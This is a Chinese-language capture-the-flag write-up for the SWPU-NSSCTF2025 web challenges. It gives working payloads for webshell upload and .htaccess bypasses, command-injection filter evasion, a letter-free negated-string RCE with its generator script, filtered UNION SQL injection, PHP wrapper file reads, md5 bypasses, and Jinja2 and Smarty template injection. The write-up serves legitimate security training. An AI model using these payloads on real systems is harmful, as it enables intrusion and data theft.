SWPU-NSSCTF2025-Writeup(Web&Misc)

Web

gift_F12

f12或者ctrl+U查看源代码,flag在注释中。

1
flag = "WLLMCTF{We1c0me_t0_WLLMCTF_Th1s_1s_th3_G1ft}"//flag is here

Do_you_know_http

简单考察http的几个请求头,一个是UA头,用于标记浏览器类型,这里改成WLLM就行了;另一个是X-Forwarded-For,用于记录客户端的IP地址(这里应该算是伪造用户ip),这里改成127.0.0.1就行了。

1
2
3
可以通过hackerbar或者bp来添加和修改请求头。
User-Agent: WLLM
X-Forwarded-For: 127.0.0.1

WebFTP

法一

根据登录页面信息去搜索引擎搜开源文档管理系统webftp2011,发现有默认弱口令admin/admin888,进入后台找到phpinfo.php页面,ctrl+f搜索flag,得到flag。

法二

可以直接扫目录扫到phpinfo泄露,也是直接搜索flag。

jicao

考察简单php审计和json格式的运用

源码如下:

1
2
3
4
5
6
7
8
 <?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

可以看到通过post方法接收id参数,然后通过get方法接收json参数,然后判断id和json参数是否正确,如果正确就输出flag。
json参数是通过json_decode函数解码的,因此需要携程json格式的数据。

payload:
http://node7.anna.nssctf.cn:25820/?json={"x":"wllm"}
id=wllmNB

easyupload1.0

没有其他过滤,直接传写入了一句话木马的jpg,上传时bp拦截请求包改后缀为php
拿到上传路径 /upload/webshell.php。

可以看到上传成功并且被解析成php文件是这样的:

如果上传之后没有被解析成php文件执行是如下图的情况:

蚁剑连接

拿到flag,我是真没想到这个居然是假的flag,真正的flag在环境变量里。我们访问上传的webshell.pphp执行phpinfo,ctrl+f搜索flag,拿到真正的flag:

easyupload2.0

这次直接改php后缀很明显不行,不过前面开源看到环境的php才5.几版本,应该有很多后缀名都能解析,试试php3,php5,phtml等
发现phtml是可以成功被解析成php文件且能绕过黑名单的。

蚁剑连接,找到flag.php里的flag:

连接后可以把源码下下来审计一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
session_start();
echo "
<meta charset=\"utf-8\">";
if(!isset($_SESSION['user'])){
$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}

if(isset($_FILES['uploaded']))
{
$target_path = "./upload";
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];

if(preg_match("/php|hta|ini/i", $uploaded_ext))
{
die("php是不行滴");
}
else
{
$content = file_get_contents($uploaded_tmp);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
}

else
{
die("不传🐎还想要f1ag?");
}

?>

可以看到,上传文件时,会先判断文件扩展名是否包含php、hta、ini等,如果包含,则不允许上传。

easyupload3.0

先上传图片🐎,bp拦截请求包改后缀,发现都绕不过去,访问一个不存在的页面让服务器报错,看到是apache服务器,试试能不能上传.htaccess文件。


成功上传,并且看到靶机标题也有提示(刚开始没注意到)。

我们上传的1.htaccess内容如下:

1
SetHandler application/x-httpd-php .jpg .png .gif

这段内容的作用是设置一个处理器,让.jpg .png .gif后缀的文件都被php处理器来处理,当成php文件解析,因此你上传的这些图片中的php代码都会被执行。
可以看到成功传上去了。

现在我们再上传之前上传失败的webshell.jpg文件,而且不用修改后缀。

这里失败了不知道为什么。

尝试另一种方法。上传2.htaccess:

1
2
3
4
5
<FilesMatch "webshell.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

再上传webshell.jpg。这段内容的作用是设置一个处理器,指定webshell.jpg文件被php处理器来处理,当成php文件解析,因此你上传图片中的php代码都会被执行。

总结

这里我两个方法失败了emm不太清楚原因,但是原理就是这样。

知识点

.htaccess是apache分布式配置文件的默认名称,也可以在apache主配置文件中通过AccessFileName指令修改分布式配置文件的名称。 apache主配置文件中通过AllowOverride指令配置.htaccess文件中可以覆盖主配置文件的那些指令,在低于2.3.8版本中AllowOverride指令默认为All,在2.3.9及更高版本中默认为None,即在高版本中,默认情况下.htaccess已无任何作用。不过即使AllowOverride为All,为了避免安全问题,也不能覆盖所有主配置文件中的指令,具体可覆盖指令可查看https://httpd.apache.org/docs/2.2/mod/directive-dict.html#Context

在低于2.3.8版本时,因为默认的AllowOverride为all,可以尝试上传.htaccess文件修改部分配置,使用SetHandler指令使php解析指定文件。比如:先上传.htaccess文件,配置Files使PHP解析yu.txt文件,再上传yu.txt文件到当前目录下,此时yu.txt已被当作php文件解析。

finalrce

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}

发现啥都用不了,最重要的是exec还是无回显的,ping,wget外带也不行。

既然是无回显那只剩一种方法了,那就是写入到文件里,但是>被ban了,后面上网搜到可以用可以用tee这个命令。

url=(l\s ../../../../ |tee 1.txt)
再访问1.txt

拿到flag的名称flllllaaaaaaggggggg
a_here_is_a_f1ag没啥用

这里注意到’la’被ban了所以用通配符
再用url=(tac ../../../../../flllll??????ggggggg |tee 2.txt)
访问2.txt拿到flag。

PseudoProtocols

pseudo虚假的,也就是伪协议
根据提示 hint is hear Can you find out the hint.php?
用参数wllm访问hint.php文件,发现他应该是把hint.php作为首页解析了
访问/etc/passwd能正常返回,伪协议读hint试试
wllm=php://filter/read=convert.base64-encode/resource=hint.php

拿到真正的hint,继续用伪协议读取test2222222222222.php。

拿到获取flag的相关代码。

1
2
3
4
5
6
7
8
9
10
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>

需要将参数a作为文件读取,并且内容为I want flag,但是我们正常传入的a其实是字符串,file_get_contents函数会将其当做文件名。这里只能用data伪协议写入文件内容:
?a=data://text/plain,I want flag

最终payload:
http://node7.anna.nssctf.cn:28876/test2222222222222.php?a=data://text/plain,I%20want%20flag

ez_ez_php

审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}

else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php

可以看到,如果GET参数file以php开头,则会include该文件,否则会输出Hacker!!。我们要读flag,就不能只读flag,而是要伪协议的读,php的读:
?file=php://filter/read=convert.base64-encode/resource=flag.php

拿到假flag,看描述真正的flag应该在flag,当前目录和根目录都试了一下,在当前目录,改一下payload:
?file=php://filter/read=convert.base64-encode/resource=flag

返回Nice!!!TlNTQ1RGe2QxYjRhMDc3LWFjZmItNDYxZS1hODI3LTQ0NTg1ZGI1ZTQ5ZX0K
base64解码拿到真正的flag。

babyRCE

1
2
3
4
5
6
7
8
9
10
11
12
 <?php

$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}

可以看到,如果GET参数rce存在且不包含cat、more、less、head、tac、tail、nl、od、vi、vim、sort、flag、空格、;、数字、*、`、%、>、<、’、”等字符,则会执行system($rce),否则会输出hhhhhhacker!!!。

可以用${IFS}替换空格,用反斜杠绕过命令,比如ca\t,n\l,ta\c都可以,虽然ban了*但是?还能用,用通配符绕过flag。

最终payload
?rce=ta\c${IFS}????.php
成功执行命令,拿到flag。

知识点

在这里小小总结一下ctf rce场景的一些关键原理。
很多绕过手法是通过php和shell不同机制导致的一些绕过:
PHP 的黑名单检测(preg_match)是在命令被交给 shell 之前,用的是“字面字符串/正则匹配”,而 shell 在执行命令时会做通配符展开 / 转义解释。

通过get传参的字符串会先进行url解码后再进行正则匹配,因此上面这道题用%09也可以绕过空格。
shell的通配符机制是检测当前目录下的文件,因此用ca?是匹配不到cat命令的,如果要用必须执行目录/bin/cat。

导弹迷踪

探姬jj出的经典题目
js审计,F12直接找就完了。

NSSCTF{{y0u_w1n_th1s_!!!}}

caidao

很简单的一句话木马,直接rce或者用蚁剑菜刀连接都行。

easy_sql

简单sql,get传参wllm,令wllm=1查询成功,输入1’查询出错,证明是字符型注入。

通过
order by 1-4当测到4时报错,证明一共有三列。

测回显位:
wllm=-1’ union select 1,2,3—+
回显2和3,说明回显位在第二第三列。

查表名
wllm=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() —+
得到test_tb,users

查字段名
wllm=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() —+
拿到字段id,flag,id,username,password

查flag值
wllm=-1’ union select 1,2,group_concat(id,flag) from test_tb—+

hardrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 <?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

第一个正则匹配参数m说明开启了多行匹配,第二个正则匹配,参数i不区分大小写,参数s表示单行匹配。

黑名单如下:

1
空格、\t、\r、\n、\+、\[、\^、\]、\"、\-、\$、\*、\?、\<、\>、\=、\`

注意到\t、\r、\n这几个转义字符都被ban了,因此%09、%0a、%0d都用不了了。

现在问题就是换行被限制了,绕不过,那就看看看无字母rce怎么打,一般无字母数字rce用或、异或、取反、自增都行,这道题’^’和’~’和’|’和应该都行,自增这里用不了,没有$符,但是实际情况没那么简单,我尝试用异或但是构造出来的命令会被解码出现被ban的`(反引号)字符,因此放弃,发现或运算也不行,跟异或同样的原因。

取反是可以的,payload:
(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
列出根目录:

flag在/flllllaaaaaaggggggg

构造payload读flag:
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

payload构造方法

可以在搜索引擎搜索ctf、rce、取反等关键词,这里我给出我构造payload的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// echo (~urldecode("%8C%86%8C%8B%9A%92"));

// 在命令行中运行
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

// echo urlencode(~system)

?>

sql

前面easy_sql的加强版。发现使用注释符—+被ban了,再测测发现被ban的是+,也就是空格。(因为浏览器url会把+解码成空格)用别的代替,经测试%0d和%09都可以,用%23(注释符#的url编码)也可以。那么前面查询语句%0d和%09和/**/都可以。

1
2
3
4
1'%09order%09by%093--%09
1'%0dorder%0dby%0d3--%09
1'/**/order/**/by/**/3--%09
# 这里测出3列,估计跟前面一道题一样的,只是做了些过滤

常规联合查询查库名表名字段名字段值先操作一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
-1'/**/union/**/select/**/1,user(),database()--%09

-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()--%09
写到这里发现=也被过滤了,查了一下有两种方法:
1、用 LIKE 代替 =(LIKE 在无通配符(% _)时,行为等价于 =)
... WHERE table_schema LIKE database() ...
2、用 IN 代替 =(IN 接受一个值列表,单个值时等价于 =)
WHERE table_schema IN (database())

因此构造出两个可用payload:
-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/LIKE/**/database()--%09
-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/IN/**/(database())--%09

查到表名:LTLT_flag,users
跟ezsql不一样的表,没什么影响继续查

-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/LIKE/**/database()--%09
查到id,flag

查flag字段的值
-1'/**/union/**/select/**/1,2,group_concat(id,flag)/**/from/**/LTLT_flag--%09
发现查到的flag缺了一半,回去查一下users表
-1'/**/union/**/select/**/1,2,group_concat(id,username)/**/from/**/users--%09
没什么东西


估计可能是对返回内容的长度进行了限制,尝试用substr发现被ban,那说明方向没错
-1'/**/union/**/select/**/1,2,substr((select/**/flag/**/from/**/LTLT_flag),1,50)--%09
-1'/**/union/**/select/**/1,2,(select/**/flag/**/from/**/LTLT_flag/**/limit/**/1,50)--%09

下面按照返回长度被限制的方向继续测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
发现mid没有被ban
-1'/**/union/**/select/**/1,2,mid((select/**/concat(id,0x7e,flag)/**/from/**/LTLT_flag),1,50)--%09

这里再把(id,0x7e,flag)改为只读(flag)发现多个几个字符,看来确实是限制了字符个数
1~NSSCTF{940a4b9d-9e
NSSCTF{940a4b9d-9e8f

一共是20个字符,再用mid函数查后半段
-1'/**/union/**/select/**/1,2,mid((select/**/concat(id,0x7e,flag)/**/from/**/LTLT_flag),20,50)--%09
查到
Your Login name:2
Your Password:e8f-49c9-86a1-c869ce
还不完整,太长了吧。。。

继续查
-1'/**/union/**/select/**/1,2,mid((select/**/concat(id,0x7e,flag)/**/from/**/LTLT_flag),30,50)--%09

Your Login name:2
Your Password:6a1-c869ce0114d8}

再拼出完整flag:
NSSCTF{940a4b9d-9e8f-49c9-86a1-c869ce0114d8}
一共44个字符

Ping Ping Ping

很经典的的ping功能拼接命令实现rce,新生赛必出题目。简单测测空格被过滤,发现%09、0d、0a好像都不管用,用${IFS}发现{被过滤,<>也被过滤。

现场使用分号;拼接命令ls列出目录,发现返回了flag.php和index.php,尝试cat,发现flag被过滤了,通配符?和*也被过滤了。

这里想读文件必须绕过空格,经测试, %20、%09、$IFS1、1、1、{IFS}、<>、< 都不能用,但是$IFS$9和$IFS$1可以。
用命令“1;cat$IFS$9index.php”读取index.php文件拿到黑名单(但是页面上看不到,得ctrl+u查看源代码):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
print_r($match);
print($ip);
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
}
else if(preg_match("/ /", $ip)){
die("fxck your space!");
}
else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
}
else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

?>

发现过滤了&、/、?、*、<、>、’、”、\、(、)、[、]、{、},空格,bash,flag。

法一

由于;和$没有被过滤,尝试变量拼接绕过flag黑名单:
payload:?ip=1;a=ag.php;b=fl;cat$IFS$1$b$a

flag在源代码注释里。

法二

还可以用 内联执行绕过(即`) payload:?ip=1;cat$IFS$1ls`

法三

payload:?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw即cat flag.php的base64编码。

知识点

; 是 shell 命令分隔符,允许执行后续命令。
内联执行(Inline Execution) 是指在一条 shell 命令中,通过特殊语法嵌入并立即执行子命令,并将子命令的输出作为参数传给外层命令。
最常见形式:
● 反引号 cmd
● $(cmd)

1
cat$IFS$1`ls`

就使用了 反引号内联执行:先执行 ls,再把结果作为 cat 的参数。

|sh
将 base64 -d 的输出(即 cat flag.php)作为命令,传递给 shell 执行
sh 是 shell 解释器(题目只禁 bash,没禁 sh!)。

babyphp

三层层if判断,第一层就卡住了。。。

1
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))

后面发现可以数组绕过,令a[]=1。会有个小报错,因为preg_match处理不了数组,但是可以成功绕过。
Warning: preg_match() expects parameter 2 to be string, array given in /var/www/html/index.php on line 4

接着下一层判断:

1
2
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2']))

继续数组绕过b1[]=1&b2[]=2。
最后一层:
1
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))

第三层还是弱比较,也不难,只能传入字符串,那就不能用数组绕过,用科学技术法绕过
c1=QNKCDZO&c2=240610708
最终payload:post传参a[]=1&b1[]=1&b2[]=2&c1=QNKCDZO&c2=240610708

奇妙的md5

在请求头看到hint里的后端查询语句:
select * from ‘admin’ where password=md5($pass,true)

这个的话感觉考察的不多,就是一个特性,之前做过,再复习一下
先看看md5这个函数:

1
2
3
4
MD5(string,raw)
string:要计算的字符串(必须)
raw(可选):默认不写为false3216进制的字符串
true,16位原始二进制格式的字符串

也就是说,默认时会正常进行md5计算返回32位的md5值,选了true之后会将32位的MD5值从十六进制转为明文字符串(但是可能会有乱码)。
本地测试一下:

发现返回的是’or’6�]��!r,��b,这恰好是sql查询中的万能密码,这就是ffifdyop的特殊之处,由于他md5后前四个字节的数据是276f7227,将其作为十六进制转化为对应的额ascii码表对应的值就是’or’,再看回到完整查询语句会变成:
select * from ‘admin’ where password=’’or’6�]��!r,��b’
恒为真,回到题目输入这个特殊的字符串就行了。

没想到还有后续,进入/c0nt1nue.php,查看源代码。

1
2
3
4
5
6
<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
;
-->

简单数组绕过一下,?x[]=1&y[]=2,还有一关,/f1na11y.php:

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
echo $FLAG;
}

post传参数组绕过就行了,wqh[]=1&dsy[]=2

高亮主题(划掉)背景查看器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

<?php
// 文件包含漏洞演示
if (isset($_GET['url'])) {
// 读取并包含用户输入的文件
$file = $_GET['url'];
if (strpos($file, '..') === false) {
include $file;
} else {
echo "Access denied.";
}
} else {
echo "No file specified.";
}
?>

进到页面看到以上代码,发现做了目录穿越的过滤,但是感觉不太对这里只用include包含好像也读不出来,试一下选用不同theme的功能抓到post请求包,发现没有做任何过滤直接读取根目录的flag。

ez_SSTI

提示用fenjing一把梭,还是手工先试一下吧,参数name=,用最简单的{{7*7}}测试漏洞,还有提示,很友好。

用fenjing一下就跑出payload了,payload:
{{((lipsum.__globals__.__builtins__.__import__('os')).popen('echo f3n j1ng;')).read()}}
那就学习一下这篇文章看看能不能手注出来,文章如下:
https://www.cnblogs.com/hetianlab/p/17273687.html

先查找当前类的对象,发现用’和”都会返回500,不知道是过滤还是啥,用[]、()、{}都可以。
name={{[].__class__}}
后面又试了一下原来是我的问题,’’和””都要完整闭合,属于str类。

继续查找其父类
name={{{}.__class__.__base__}}
直接返回顶级类object。

接下来继续查找子类
name={{{}.__class__.__base__.__subclasses__()}}

这时候能看到很多子类,我们需要找到我们要利用的类。
name={{[].__class__.__base__.__subclasses__()[137]}}
在索引137找到子类。

用来调用popen命令。
{{"".__class__.__bases__[0].__subclasses__()[137].__init__.__globals__.popen('cat /flag').read()}}

看看ip

进入靶机是一个可以查看本机电脑公网ip的功能,根据经验看看能不能XFF头伪造ip,结果是可以的。

这里查询ip是调用了一个api接口,也就是说我们xxf伪造的值可以传到后端?尝试验证是否存在SSTI。

很显然是存在的,在输入空的{{}},可以看到返回报错信息,是smarty模板引擎。

应该跟之前国赛的题差不多, CISCN2019华东南赛区Web11 ,因此这道题也不难,可以直接执行命令。
X-Forwarded-For: {{system('ls /')}} X-Forwarded-For: {{system('cat /flag')}}

知识点

下面我们详细学学smarty模板引擎的漏洞原理和常规手法。

常规手法

一般情况下输入{$smarty.version}就可以看到返回的smarty的版本号。该题目的Smarty版本是 3.1.48 。
Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但就该题目而言,使用{php}phpinfo();{/php}标签会报错:

1
{php}{/php} tags not allowed. Use SmartyBC to enable them <-- thrown in /var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php on line 60

在Smarty3的官方手册里有以下描述:
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
该题目使用的是Smarty类,所以只能另寻它路。

可以用{if}标签
官方文档中看到这样的描述:
Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}

将XFF头改为{if phpinfo()}{/if},可以看到题目执行了phpinfo() 。

用{if system(‘cat /flag’)}{/if}同样可以执行命令获取flag。

漏洞原理

后端的源码大概是这样的:

1
2
3
4
5
6
<?php
require_once('./smarty/libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$smarty->display("Current IP: ".$ip); // display函数把标签替换成对象的php变量;显示模板
}

可以看到这里使用字符串代替smarty模板,导致了注入的Smarty标签被直接解析执行,产生了SSTI。

了解更多可以看看这篇先知社区的文章:
https://xz.aliyun.com/news/11666

怎么多了个没用的php文件